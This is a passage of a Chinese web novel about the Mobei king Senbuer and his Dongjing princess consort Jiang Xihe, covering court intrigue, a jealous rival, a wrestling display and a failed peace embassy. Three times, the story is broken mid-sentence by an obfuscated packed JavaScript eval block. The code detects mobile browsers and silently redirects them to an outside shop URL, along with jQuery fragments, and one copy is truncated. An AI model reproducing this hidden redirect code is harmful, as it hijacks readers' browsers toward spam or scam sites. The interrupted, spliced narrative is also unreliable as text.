“那倘若久攻不下呢?倘若东靖人自焚粮仓呢?他们就是仗着边城地势险要,易守难攻,才跟我们耗了这么久。如果到时候前线吃紧,后方粮草又供应不上,这个责任谁来承担?”
森布尔的反问掷地有声,几句话堵得塔林哑口无言。
胡和鲁轻咳一声,上前打圆场:“大王深谋远虑,来年我们既要练强兵马,也要抓好春耕,等粮草储备足够,兵士休养到位,再谋战事也不迟。”
其余众人闻言,纷纷点头称是。
塔林磨了磨后槽牙,心里满是不服气,但还是退了一步不再开口。
胡和鲁沉默了一会儿,突然话锋一转:“眼下距离开春还早,正是休养生息的时候,出兵一事尚可再议,但是……”
他顿了顿,看了眼森布尔的脸色,继续道:“大王今年已经二十有六,身边除了那和亲的东靖公主就再无旁人,继承人之位长久空悬。此事关系到漠北未来的安稳,兹事体大,还请大王三思啊。”
他话里有话,暗藏的玄机众人再明白不过。
于是他刚说完,帐中立刻有人附和道:“是啊,我看胡和鲁首领的女儿就很不错,模样周正,性子也活泼。若是能嫁给大王,也算是喜上加喜!”
胡和鲁闻言,装模作样地摆了摆手,笑道:“那丫头心里有主意得很,我这个做父亲的也做不了她的主。”
“我看乌日娜对大王颇有好感,若是首领愿意松口,成全这一对姻缘,岂不是美事一桩?”
“哈哈哈……”
里面讨论得热火朝天,乌日娜躲在帐子外的角落,努力凑近耳朵,仔细听着里面的动静。
“我只把乌日娜看作妹妹,并没有半分旁的心思,此事日后不必再提!”
是森布尔的声音。
没有丝毫犹豫,没有半分婉转。
乌日娜像是被一盆冷水从头浇到了脚,僵在原地瞬间就红了眼眶。
11. 熊孩子也会说对不起
里面议论声再起,似乎有人还想再劝。
森布尔的声量突然拔高,还带着罕见的怒气:“我说了不会再娶旁人!你们以后莫要再提这件事!省得落进王妃耳朵里,平白惹她不高兴!”
乌日娜再也听不下去,猛地转身,擦着眼泪往远处跑去。
江熹禾昨晚破了气血,今日厨房里特意为她炖了清淡滋补的汤。
桃枝给她盛了一碗,小心吹凉了才递给她。
“王妃,这里面加了补气血的草药,炖了整整一个上午呢,您多喝点。”
江熹禾用汤勺舀了一勺,尝了一口,笑道:“味道很好,你费心了。”
她正安安静静吃着饭,忽然听见帐外有人唤了一声:“王妃!”
桃枝过去掀开帐帘,却发现外面的人正是好久不见的青格勒。
他手里提着一只食盒,鼻尖冻得通红,歪着脑袋不敢直视面前的人。
“是青格勒吗?”
江熹禾向外探了探头,招呼了一声,“外头冷,快进来吧。”
桃枝这才侧身让开路,看着青格勒僵硬地走进屋里。
“这是我奶奶刚做好的奶糕,让我送来给你。”
他像落枕了一样别着脖子,一眨不眨地盯着旁边的空气。
桃枝接过食盒,伸出手掌在他面前挥了挥。
“你这家伙,跟谁说话呢?”
青格勒抿着嘴巴,脸都涨红了。
江熹禾善解人意地帮他解围:“好了桃枝,别逗他了。”
她笑了笑,又问:“你奶奶身体好些了吗?最近天气冷,注意别着凉。”
青格勒吸了吸鼻子,仍是不看她,“好多了,她说……让我谢谢你。”
“不必客气。”
江熹禾回应了一句,却看见青格勒还是钉在原地没动,怀里鼓鼓囊囊的,好像还塞了什么东西。
“青格勒,你是来交课业本子的吗?”她轻声问。
闻言,青格勒瞬间就红了脸,连倔强的脖子都熟透了。
“我,我……就是闲着没事,随便写了点……”
桃枝“噗嗤”笑出声,毫不留情地揭穿他:“你刚去军营,光是平日的训练就忙得脚不沾地,晚上回来还得帮着家里干活。怕不是挤着睡觉的时间,偷偷写的课业吧?”
被桃枝戳破小心思,青格勒的脸更红了。
他紧紧捏着裤腿,似乎是在犹豫还要不要继续待在这里。
“好了桃枝。”
江熹禾用眼神制止了她。
桃枝撇了撇嘴,拎着食盒退到了一边。
江熹禾起身在书柜里翻找了会儿,拿出两本书放在桌上,对青格勒说:“这两本书你拿回去,有时间的时候可以多看一看,有什么不懂的可以随时来问我。”
青格勒终于走上前,从怀里掏出用布包着的本子,轻轻放在她面前。
“我……这次写得不好,你别笑话我……”
江熹禾看着被整理得平平整整的本子,脸上的笑意更浓了。
“只要愿意学就是好事,没有人会笑话你。”
青格勒把桌上的书收进怀里,飞快地抬头看了她一眼。
“我走了。”
他一阵风似的刮向门外,刚跨出门却差点迎面撞上了一身戾气的乌日娜。
“跑什么跑!没长眼睛吗?”
乌日娜正在气头上,一把推开青格勒,气势汹汹地挤进帐子里。
青格勒站在帐门口,看着晃动的帐帘,脸色有些难看。
江熹禾看着面前的闯入者,眼神淡得没什么情绪。
“乌日娜姑娘,你来干什么?”
乌日娜大咧咧地拉开她面前的椅子坐下,转着头环顾这间帐子,不屑道:“堂堂漠北王妃,就住在这么小的帐子里?还没我家丫鬟的房间大。看来森布尔哥哥也不怎么重视你嘛,不然怎么连间宽敞些的帐子都不给你?”
江熹禾捋了捋袖摆,端坐在椅子上,平静地看着她:“我这里庙小,容不下姑娘这尊大佛。所以姑娘特意来找我,所为何事?”
乌日娜冷笑一声,突然伸出手臂砸在桌子上,震得桌上的碗筷都晃了晃。
“听闻王妃精通医术,不如替我把把脉?”
桃枝上前,怒斥道:“大胆!我们王妃什么身份?凭什么替你把脉!”
乌日娜拍案而起,“你算什么东西!这里也轮得到你说话?!”
“没看我们王妃正在用膳吗?上门做客也要挑个时间吧?你爹连这点礼数都没教过你?”
“你个小丫鬟胆敢教训我?看我今天不撕烂你的嘴!”
江熹禾抬起手,制止了两人的争吵。
“既然乌日娜姑娘身体不适,来都来了,那就看看吧。”
她声音平静,却带着一种奇异的力量,让乌日娜不由压住了火气,重新坐下。
她重新伸出手腕,一脸戏谑地看着江熹禾。
“王妃身子这般孱弱,这么多年都生不出一儿半女。既然这么精通医术,怎么不替自己治治?”
“精通谈不上,略懂皮毛罢了。”
江熹禾手指轻轻搭着她的脉门,轻笑道:“儿女缘分乃天定,不急在一时。倒是姑娘你,肝火亢盛,心脉浮躁,虽然空有一副好底子,却注定结不出什么好果。”
“你说什么?!”
乌日娜猛地抽回手腕,气得指着她的鼻子骂道:“你一个东靖人,不过仗着有几分姿色,让大王多看了你几眼罢了。居然还敢在我面前嚣张?简直不知天高地厚!”
江熹禾收回手,好整以暇地靠进椅子里。
“姑娘眼界未开,会有这样的想法,我不怪你。”
“你!”
乌日娜被呛得脸色通红,愣了半天也找不回反驳的话。
“不过一个没用的病秧子罢了!看我今天不好好教训教训你!”
她说着,高高扬起胳膊,竟然是要动手。
桃枝立刻挡在江熹禾面前,闭着眼睛,等着这一巴掌落下。
但下一瞬,青格勒去而复返,紧紧攥住了乌日娜的胳膊。
“你敢在这里撒野,信不信我现在就去告诉大王!”
“你又算什么东西!居然敢对我动手!”
乌日娜被他攥得胳膊生疼,想甩开,却发现这人力气还挺大,竟一时挣不脱。
她看着一脸认真的青格勒,又回头瞟了眼始终一脸淡然的江熹禾,心头的怒气莫名泄了大半,只剩下被当众阻拦的难堪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730408|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“放开我!”
她红着眼眶,猛地甩开青格勒,头也不回地大步冲出帐外。
帘帐被甩的猎猎作响,刺骨的寒风灌了进来,帐内温度骤降。
江熹禾扶着额头,轻叹口气。
没想到,待在家里吃个午饭都能惹上这么多事儿,真是让人不得安宁。
“没事了青格勒,你回去吧。”
青格勒点了点头,没说什么,带上门离开了。
桃枝跟着过去掩好门,气鼓鼓地嘟囔道:“真是气死我了!有了这个乌日娜的衬托,感觉青格勒都变得眉清目秀了起来!”
江熹禾被她逗笑了,低头翻看着青格勒的课业本子。
“青格勒本性又不坏,只是年轻气盛,有些事情暂时想不通罢了,慢慢长大就好了。”
那本子上的字迹歪歪扭扭,每一个字都张牙舞爪,纠缠在一起根本难以辨认。
桃枝凑过来看了一眼,嫌弃道:“这都写的什么啊,跟鬼画符似的。”
江熹禾耐心道:“他开蒙晚,之前连自己的名字都不会写,现在能练成这样已经不错了……”
她随手往后翻着,声音突然顿住了。
只见那本子中间的空页上,一笔一划,写着硕大的三个字:
“对不起。”
江熹禾突然笑了,刚才被乌日娜挑起的一丝烦闷,也在这一刻彻底消散无踪。
桃枝努了努嘴,“切,算他还有点良心。”
江熹禾在屋里歇了一天。
天刚暗下不久,森布尔就回来了。
江熹禾放下手里的书,问:“晚宴结束了?怎么回来得这么早?”
“那酒天天喝有什么意思?倒不如早点回来陪夫人。”
森布尔挤到她身边坐下,抬手揉了揉她的后颈。
“听说今天乌日娜来过了?”
“青格勒告诉你的?”
森布尔得意道:“我就说把这小子丢进军营有用,你看这才没多久,就懂事不少。”
“一群半大孩子罢了,不值当较真。”
她语气平静,也不知是在说青格勒还是乌日娜。
森布尔努力压着想要上扬的唇角,问:“听说乌日娜来故意找茬,结果被你几句话呛了回去?”
“怎么?”江熹禾斜睨他一眼,“你想替人家出头?”
森布尔摸着下巴,突然乐出声。
“可惜我没在,要不然我还挺想看看你骂人的样子。”
江熹禾一言难尽地看着他,满脸都写着:“你有病吧?”
森布尔看她的表情,笑得更欢了,“你放心,我已经警告过胡和鲁,让他好好管教女儿,别再到处惹是生非了。”
江熹禾瞥了罪魁祸首一眼,无奈地叹了口气。
接下来果然好几天都没再看见乌日娜。
江熹禾照旧在待在帐子里看书,偶尔指点一下孩子们的功课。连青格勒也来了几回,经常给她送些果子糕点什么的,虽然对她的态度虽然还有些别扭,那总算没那么针锋相对了。
森布尔每天处理完部落事务,就会早早回来陪她。
有时候两人并肩坐在软榻上看书,有时候会去营地附近散散步,日子过的岁月静好。
12. 漠北王的实力
几日后,为送别各部落首领返程,营地里特意举办了一场热闹的宴会。
帐外的空地上架起了篝火,烤肉的香气随风飘散。
部落的男女老少围着篝火载歌载舞,气氛格外欢腾热烈。
森布尔牵着江熹禾的手走进人群,立刻引来众人的目光。
射箭靶场有人高声起哄:“大王,要不要来露一手?”
森布尔笑着看了一眼身边的江熹禾,伸手从侍从手中接过弓箭。
他站在五十步外的射程线后,身姿挺拔,左手持弓,右手拉弦。
他眯着眼睛瞄准靶心,眼神锐利如鹰。
只听“咻”的一声,箭矢稳稳射中靶心!
人群中立刻爆发出欢呼声,他却只是回头看向江熹禾。
江熹禾被他这孩子气的邀功逗得弯了弯嘴角,冲他微微点了点头。
森布尔像是受到了莫大的鼓舞,重新取过三支箭矢,搭弓、拉弦、瞄准、发射。
一连串动作行云流水,箭箭都命中靶心。
喝彩声一浪高过一浪,他抬手抛出手里的铁弓,随意道:“行了,你们玩儿吧,我去别处看看。”
江熹禾被他牵着往外走,忍不住笑道:“大王技艺不减当年,当真厉害。”
森布尔尾巴都快翘上了天,但还是绷着嘴角道:“这算什么,带你去看个更厉害的。”
两人来到摔跤场。
场上两个身材魁伟的勇士正紧紧抓着彼此的肩甲,额头青筋凸起,正拼尽全力互相博力。
看见森布尔来了,人群自动从中分开,让出一条路来。
连场上正在角力的两名勇士也停下手,对着森布尔躬身行礼,恭敬道:“大王!”
森布尔对江熹禾扬了扬下巴,“看我的。”
他大步走到场子中心,环视一圈站在赛场边缘,刚刚在对决中胜出的勇士,胡和鲁也在其中。
森布尔没多废话,抬手依次指了指。
“你,你,你……还有你,你们一起上。”
“一起上?”
人群中立刻响起一阵低低的惊呼。
胡和鲁先是愣了一下,随后哈哈大笑:“好!大王果然有魄力!那我们今天就不客气了,正好让大家伙儿看看,大王的武艺这几年有没有退步!”
森布尔扎下马步,重心下沉,对他们勾了勾手。
“来吧。”
六个人缓步上前,呈扇形把森布尔包围其中。
围观人群兴奋地骚动起来,江熹禾双手交握放在身前,脸上始终带着淡淡的笑意,似乎一点也不担心森布尔会输。
胡和鲁最先按捺不住,大喝一声,率先冲了上去,伸手就想抓住森布尔的腰。
可就在他的手即将碰到森布尔衣襟时,森布尔突然侧身,同时抬手轻轻扣住胡和鲁的手腕,顺势往旁一拉。
胡和鲁瞬间失去平衡,“砰”地一声栽倒在地上。
全场瞬间安静了一瞬,随即爆发出震天的喝彩声!
另外几人见状,也不再犹豫,同时朝森布尔扑来。
只见森布尔不慌不忙,先是弯腰避开攻向下盘的手,同时伸脚勾住那人的脚踝,轻轻一绊,对方立刻踉跄着往前扑去。
紧接着,他转身避开身后的锁喉,反手抓住袭来的手臂,往下一压,再顺势往前一推,那人便重心不稳,撞向旁边的同伴。
最后一人刚想趁机进攻,森布尔已经转身,一把扣住他的肩甲,脚下一个扫堂腿,就把人撂倒在地。
前后不过一盏茶的功夫,先前那六个人已经纷纷倒地。
而森布尔还站在赛场中央,气息依旧平稳,被汗水洗涤过的眼神愈发明亮。
掌声与呐喊声此起彼伏,江熹禾看着场中那人,也忍不住跟着拍了拍手。
这般意气风发,所向披靡的他,当之无愧是真正的漠北之王。
“没事吧?”
森布尔笑着上前,把地上的胡和鲁拉了起来。
胡和鲁揉了揉被摔得发疼的后背,对他竖起大拇指:“大王的武艺还是这么厉害!我等自愧不如!”
森布尔拍了拍他的肩膀,转身大步走到江熹禾面前。
“怎么样?你夫君还行吧?”
江熹禾笑着掏出手帕,擦了擦他额头上的汗。
两人一副甜蜜亲昵的样子,看得胡和鲁心情有些复杂。
隔着热闹的人群,江熹禾余光突然瞥见外围站着一道熟悉的身影。
乌日娜穿着一身艳丽的裙子,却没像往常一样凑上前,只是远远地躲在角落看着森布尔。
江熹禾上前搂住森布尔的腰,轻轻抚了抚他的后背。
森布尔被她这突如其来的身体接触弄得一愣。
他向周围扫了一眼,清了清喉咙,低声问:“怎么了?”
江熹禾偏着头,看着远处那抹倩影愤愤跺了跺脚,捂着眼睛跑开了。
她这才抿了抿嘴角,抬头道:“没什么,你腰带乱了,我帮你整理一下。”
森布尔揉了揉鼻子,牵起她的手。
“走吧。”
热闹的宴会足足持续了两天两夜。
森布尔带着江熹禾在部落门口送别各部落首领。
胡和鲁带着族人收拾行装,人群中却没看见乌日娜的身影,也不知是不是躲在哪辆马车上。
森布尔拍了拍胡和鲁的肩膀:“一路顺风。等开春部落议事时,我们再好好聚一聚。”
“多谢大王关怀!”
胡和鲁连忙拱手应下,低头时却不着痕迹地瞟了一眼旁边的江熹禾。
“那我们这就走了,开春再见!”
胡和鲁正准备转身离开,却突然听见江熹禾叫住了他。
“胡和鲁首领。”
她声音不急不缓,脸上还带着温和的笑,但说出来的话却让胡和鲁瞬间变了脸色。
“乌日娜姑娘年纪也不小了,性子却还是这般急躁无礼。往后在部落里,还望首领多费心教导些。免得日后在外行事,无意间失了体面,不仅让姑娘自己难堪,也伤了咱们漠北部落间的和气。”
她这话看似客气,实际上就是摆明了说他这个做父亲的管教无方,教出这么个刁蛮任性的女儿。
胡和鲁客套的笑容僵在脸上。
这位东靖来的和亲公主,在他眼里一直就是漠北的战利品,东靖的牺牲品,一个中看不中用的花瓶,一个不受重视的质子罢了。
平日里除了陪大王解闷,话少得像个影子,根本不值他正眼相待。
但没想到她今日会突然说出这样一番话,简直就是在当众打他的脸!
关键是那森布尔还饶有兴致地看着自家王妃,笑得一脸宠溺纵容,一点也没有要出言教训她的意思!
胡和鲁嘴角抽了抽,深吸了口气才勉强压下心中怒火。
“王妃说的是,我以后会注意的。”
江熹禾微微点头,没再多说什么。
胡和鲁深深看了她一眼,转身招呼族人,脚步匆匆地离开了。
车队渐渐远去,车轮碾过雪地的声音逐渐消散在风里。
江熹禾收回目光,抬头恰好对上森布尔的视线。
“大王这样看着我做什么?难道是我说的不对?”
“怎会?夫人说的太对了,胡和鲁要是不好好教导他那女儿,以后指不定还要惹出什么乱子来。”
森布尔抬手捏了捏她的脸,圈住她的肩膀往回走。
“昨日摔跤比赛的时候好像拉伤了肩膀,夫人回去帮我看看?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730409|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“……”
.
东靖边城。
这里的风雪虽然没有漠北那般狂烈,却也带着刺骨的寒意。对于露宿街头的流民来说,每一分每一秒都是煎熬。
辛夷穿着早已看不出原色的衣服,躲在一处只剩下残垣断壁的破庙里。
身下垫着潮湿的干草,风雪呼啸着从耳边刮过。
自从被森布尔放归东靖,无处可去的她跟着流民四处逃窜,靠拾荒者丢弃的残羹冷炙,或是朝廷偶尔派发的少得可怜的救济粮勉强度日。
但眼下她发起了高烧,连走路都摇摇晃晃,再也跟不上队伍的脚步,被独自留在了这里。
残破的观音像只剩下半边身子,被战火熏黑的供台布满裂痕。那双慈悲的眼睛平静注视着脚下的女孩,像是在俯瞰世间所有苦难。
这双眼睛让辛夷又想起那位昭华公主。
她们都有着这样一双温和,清澈,悲悯世人的眼睛,但也同样身陷囹圄,残破不堪。
在这飘摇的乱世,人人都在泥沼里挣扎,谁又能堪当救世主呢?
“咳咳……”
辛夷捂着嘴巴咳了两声,胸腔传来阵阵灼痛。
她的眼泪不受控制地滑落,心里涌起茫然的苦涩。
就要这样死了吗?
死后就能和家人团聚了吗?
可是……她还没来得及为他们报仇,还没能来得及做些什么。
不甘心……
她不甘心!
没能杀了森布尔,她不甘心!!!
“咳咳……咳……”
怒火燃烧着她的理智,也燃烧着她仅剩的生机。
突然,庙外传来由远及近的脚步声。
一颗梳着凌乱发髻的脑袋探了进来,在看见墙角蜷缩着的辛夷时,高声惊呼道:“黑鸦快来看!这里还真有人!我就说我没听错吧!”
话音未落,又一道穿着一身黑袍的人影走进了庙里。
辛夷勉力睁开眼睛,看着面前的一男一女。
“你们……是谁?”
那女人蹲在辛夷面前,歪着脑袋打量她,“啧”了一声:“真可怜,我不用把脉就知道你快死了。”
辛夷本就虚弱,被她这话一噎,只觉得胸口更闷,干脆艰难地转过头,闭上眼懒得理会这对来路不明的怪人
“哟!这孩子还挺有脾气!”
女人拍了拍衣摆上沾着的灰,笑道:“小孩,跟我走吧,我能救你。”
辛夷睫毛颤了颤,扭过头狐疑地看向她。
“……你到底是干嘛的?”
女人嘿嘿乐了一声,转身从包袱里面取出一面皱皱巴巴的招幌,指着上面的两排大字道:
“灵丹济世,妙手回春。看到没,我可是神医!”
但是这人鬓发散乱,姿态散漫,怎么看也不像是正经大夫,倒像是在街头招摇撞骗的江湖术士。
不过辛夷自认已经无路可走,全身上下也没什么值得被骗走的东西。就算是一场骗局,她也没什么可失去的了。
她嘴唇哆嗦着,尽力伸手去够女人的衣摆。
“救救我……求你,救救我……我大仇未报,还不能死……”
女人伸手摸了摸她的额头。
她指尖带着柔软的凉意,瞬间抚平了辛夷心头滚烫的灼热。
“黑鸦。”女人轻唤了一声,“把人带上,我们回吧。”
男人沉默地点了点头,上前蹲下身,把草堆里的辛夷横抱了起来。
三人迎着风雪,踏出这间破庙。
辛夷意识昏沉,却仍是艰难地转过头,望向那尊残破的观音像。
那双悲悯的眼睛静静注视着门口,随着他们的脚步,一点点被风雪吞噬,最终彻底消失在视野里。
13. 两国交战,不斩来使
距离东靖边城不过数十里的漠北营地里。
一群穿着战甲的将士围着中间的帐子,严阵以待。
森布尔翻身下马,拍了拍身上的积雪。
“大王!”
守在帐前的校尉立刻上前,恭敬地喊了一声。
“嗯。”
森布尔甩了甩头发上的碎雪,看了眼面前被围得水泄不通的帐子,问:“人在里面了?”
守卫压低声音,回答道:“回禀大王,东靖使臣一个时辰前就到了。属下按照您的吩咐,只给了茶水,没让他们随意走动。”
森布尔点点头,迈步向着那间帐子走去。
周围的守卫立刻退到两边,沉声喊道:“参见大王!”
外头声如洪钟,震得里面的人一哆嗦,手里端着的茶都撒出来大半。
森布尔掀开帐帘,瞟了一眼里面的人,大步走到主位坐下。
“姚大人是吧?”
他解下腰间佩刀,“哐当”一声丢在桌案上。
“说吧,东靖皇帝派你来,是有什么话想跟我说?”
姚学真咽了咽口水,连忙起身行礼。
“在下鸿胪寺少卿姚学真,见过漠北王。”
森布尔不开口,也不看他,而是自顾自喝着酒,等着他的下文。
姚学真擦了擦头上的汗,继续说道:“在下此次前来,是奉了陛下口谕。”
“陛下愿与漠北停战,重修旧好,往后互不侵犯,共守边境安宁。”
他说完,从袖中取出一卷明黄色的国书,双手高高举起。
“这是陛下亲笔所写的国书,里面详细写了停战条款,还请大王过目。”
森布尔抬了抬手指,身侧的将领立刻会意,接过那卷国术呈了上来。
森布尔随手把那卷轴摊开在桌上,大致扫了几眼。
“赔偿漠北粮米两万石、布匹五千匹、牛羊各千头。划定边境缓冲区,自东靖边城往北三十里、漠北营地往南二十里,双方不得驻军,只派官吏共同管理互市……”
森布尔冷哼一声,手指漫不经心搭上刀柄。
“姚大人,如果这就是你们皇帝的诚意的话,那你还是趁早回去,告诉他洗干净脖子,等着我森布尔来取!”
姚学真身子一僵,头埋得更低,“大王息怒!这些条件或许不够,可陛下说了,所有条款都能再议!只要大王愿意停战,东靖什么都好商量!”
“什么都好商量?”
森布尔站起身,大步走到姚学真面前,居高临下地看着他。
“我要你们皇帝把皇位让给我坐坐,也能商量吗?”
姚学真吓得一个哆嗦,膝盖一软差点跪倒在地。没想到这漠北王态度居然如此强硬,竟是连半分余地都不留。
他心思飞转,突然话锋一转,提起了江熹禾。
“我们陛下平生最疼爱的就是昭华公主。如今公主嫁去漠北已经七年,俗话说一日夫妻百日恩,公主在漠北定然也盼着边境安宁。求大王看在公主的面子上,给东靖一个和谈的机会!”
森布尔眯了眯眼睛,冷笑道:“公主又怎样?我森布尔的决定,还轮不到一个女人来左右!这样就想让我停战,该说你们天真,还是异想天开呢?”
说罢,他不再看姚学真一眼,抓起桌上的佩刀,转身就准备往外走。
姚学真眼看谈判破裂,连忙从袖中掏出一封书信,高声叫住了他。
“大王!等等!这是陛下写给公主的家书,万望大王体恤天下父母之心,将此家书转交公主!”
森布尔停住脚步,犹豫了片刻后还是接下了那封书信。
他把信笺揣进怀里,大步走出了营帐。
“送客!”
.
回去时的风雪比来时更大了,细密雪幕遮天蔽日。
森布尔骑着马刚跑出营地没一会儿,突然又猛地勒住马缰。
他紧紧盯着雪幕深处,一动不动地看了好一会儿。
身后的将领上前道:“大王,怎么不走了?”
不远处的雪地里,隐约有一串战马的蹄印,边缘已经被风雪掩盖得模糊不清。若不是森布尔眼神敏锐,又带着与生俱来的危险嗅觉,换做旁人,恐怕就直接忽略了过去。
从蹄印的痕迹上来看,应该是一支数十人的骑兵小队,方向是冲着边城营地去的……
有人要对姚学真下手!
森布尔眉头一沉,猛地勒住马缰调转方向。
“快走!跟我回去!”
马车在雪地里艰难前行着。
密集的冰碴噼里啪啦拍击着车棚,姚学真坐在车里,一脸颓败。
皇帝缠绵病榻,漠北骑兵虎视眈眈,朝中势力暗流涌动。
整个东靖仿佛狂风中的残烛,摇摇欲坠。
今日和谈宣告失败,他还没想到,回去到底要怎么跟皇帝交代。
正当他深陷愁绪之际,车身忽然剧烈一颤,巨大的惯性把他狠狠甩向车厢壁!
“出什么事了?”
姚学真慌忙扶正歪斜的头冠,朝车外问道。
回应他的是一阵凌乱的脚步声,随从的声音带着惊慌:“大人!雪太深,马蹄陷进去了!我们正在……啊——”
声音戛然而止,化作一声凄厉的惨叫。
紧接着外面响起兵刃相击的铮鸣声,震得人耳膜发颤。
姚学真瑟瑟发抖地推开车门,看着眼前这支将他的马车团团围住的漠北骑兵。
他带来的随从已全部倒在血泊中,鲜血染红了车轮周遭的积雪。
姚学真目眦欲裂,对着那为首之人喊道:“两国交战,不斩来使!漠北王已经放我归去,你们为何又要出尔反尔,行此卑劣之事!”
塔林骑在马背上,冷哼一声:“几条东靖狗而已,杀了便杀了,也配找我要说法?”
他说着,缓缓抽出马背上的箭矢,拉开铁弓,瞄准了姚学真的脑袋。
这么近的距离,他根本无处可逃!
姚学真此刻也已经忘记了反抗,双脚像是被冰雪冻住了,脑袋也一片空白。
冒着寒光的箭尖直直对准目标,塔林刚要松手,忽然听见身后传来一声怒喝。
“塔林!住手!”
塔林的手指僵在弓弦上,难以置信地回过头。
只见风雪中,森布尔骑着战马疾驰而来,脸上满是怒意。
姚学真也像是被这声怒喝惊醒,双腿一软,直接瘫坐在雪地里。
森布尔勒住马缰,扫了一眼满地的狼藉,眼底的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730410|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怒意更甚。
“塔林,谁准你私自动手的?你是想违抗军令吗?”
塔林收回弓箭,连忙翻身下马,跪在森布尔面前。
“大王!您别相信这人和谈的鬼话!东靖皇帝病得快死了,朝中内乱不休,眼下就是我们最好的进攻时机!只要撕开边关的口子,我们就能长驱直入,一路杀进皇宫……”
“放肆!”
森布尔的怒吼如闷雷般炸响,惊得众人齐齐跪地,低着头不敢出声。
“你是漠北王,还是我是漠北王?何时轮得到你一个骑兵统领,来教本王该如何做事?!”
塔林脊背紧绷,深深低下了头。
“你私自调兵,违抗军令,自己回去领罚!”
塔林嘴角抽搐,从牙缝里艰难挤出一声:“是!”
森布尔这才把目光转向一旁的姚学真,冷声道:“愣着干什么?还不赶紧滚!”
“多,多谢大王不杀之恩!”
姚学真一骨碌从地上爬起,踉跄着攀上马背,朝着东靖边城的方向狂奔而去。
江熹禾揉了揉酸痛的肩膀,撩开帐帘看了眼外头的天色。
“都这么晚了,王怎么还没回来?”
桃枝兑来泡脚的热水,安慰道:“许是今日雪太大,路上耽搁了。”
江熹禾叹了口气,担忧道:“也不知这次派来的是哪位大人,希望森布尔能耐心一些,好好听人家把话说完。”
这几年,东靖派来的使臣一拨接一拨,可每次谈判都无疾而终。
东靖的退让在漠北看来只是懦弱不敌的表现,而这些年累积的血海深仇,更是让森布尔无法停下征战的脚步。
战火连年不熄,多少百姓流离失所,多少村落化作焦土。
每每想到这里,江熹禾的心口就像压了块巨石,沉得她喘不过气。
森布尔踏着积雪回到营帐,掀帘进来时,眉宇间尽是烦躁,满身的戾气都还没来得及收回去。
“王,您回来了?”
江熹禾见他回来,正要起身相迎,却被他抬手止住:“坐着吧。”
森布尔从桃枝手里接过帕子,在床前蹲下,轻轻抬起江熹禾的脚,给她仔细擦拭。
桃枝看了眼两人的脸色,知趣地躬身退下了。
江熹禾盯着森布尔低垂的眼睛,轻声问:“发生什么了吗?怎么这么晚才回来?”
森布尔帮她擦完脚,又拢着她的小腿放在床上,沉默了好一会儿才开口。
“塔林违反军纪,领了二十军杖,这会儿才被抬回去。”
江熹禾惊讶地问:“他做什么了?”
森布尔抬眼看着她,“私自调兵,违抗军令,差点杀了东靖使臣。”
“什么?”
江熹禾心头一紧,连忙抓住森布尔的袖摆,“这次派来的是哪位大人?他没事吧?”
“鸿胪寺少卿姚学真,他没事,已经安全回去了。”
江熹禾松了口气,喃喃道:“是姚大人……他曾在地方治理水患有功,体恤民情,爱惜百姓,是个难得的实干良臣。若是就这样死在这里,实在太可惜了。”
“可惜?”
森布尔从鼻子里哼了一声,“你身为我漠北王妃,现在却在为东靖觉得可惜?”
14. 自身难保的观世音
“我是在为百姓可惜。”
江熹禾摇了摇头,垂下视线,“一将功成万骨枯。封侯拜相的路,哪一条不是用百姓的尸骨铺就的?他们日出而作,日落而息,何曾伤害过谁?却要被这乱世裹挟着,付出妻离子散,家破人亡的代价。”
“打仗不都这样?待我踏平东靖,一统山河,这乱世自然就终结了。”
森布尔轻嗤一声,仰面躺在床上,指尖绕着她的发丝。
“你这么慈悲为怀,我看那庙里的观音都应该刻你的脸。”
江熹禾无奈苦笑:“我若真是救苦救难的观世音就好了,也不必像现在这样,什么都做不了,只能日夜煎熬,徒然折磨自己。”
森布尔想起那封家书,眉头拧得更深了。
“天天想这些有的没的,能养好身子才怪了!”
他突然揽住江熹禾的腰,把人按进怀里。
江熹禾的脸埋在他胸前,声音闷闷的:“所以……这次的谈判又没成吗?”
“你怎么跟那些人一样天真?”
森布尔捏住她脸上的软肉,轻轻扯了扯,“东靖这个时候派人来谈和,无非是怕等到开春之后,我漠北铁骑兵强马壮,挥师南下之时,他们再无招架之力罢了!”
江熹禾却直言道:“东靖幅员辽阔,物产丰饶,边关更是据险而守。若真的铁了心要打持久战,大王未必能轻易破局。届时拼的便是国力消耗。漠北贫瘠,仅靠这两年的粮草储备,恐怕很难占到便宜。”
森布尔磨了磨牙,虽然心里很不爽,但也知道她说的没错。
正因如此,他才要在这个冬天休养生息,蓄积力量,等到时机成熟之时,一口气攻破边关,不给东靖喘息的时机。
但是那个塔林竟然敢公然违抗军令。
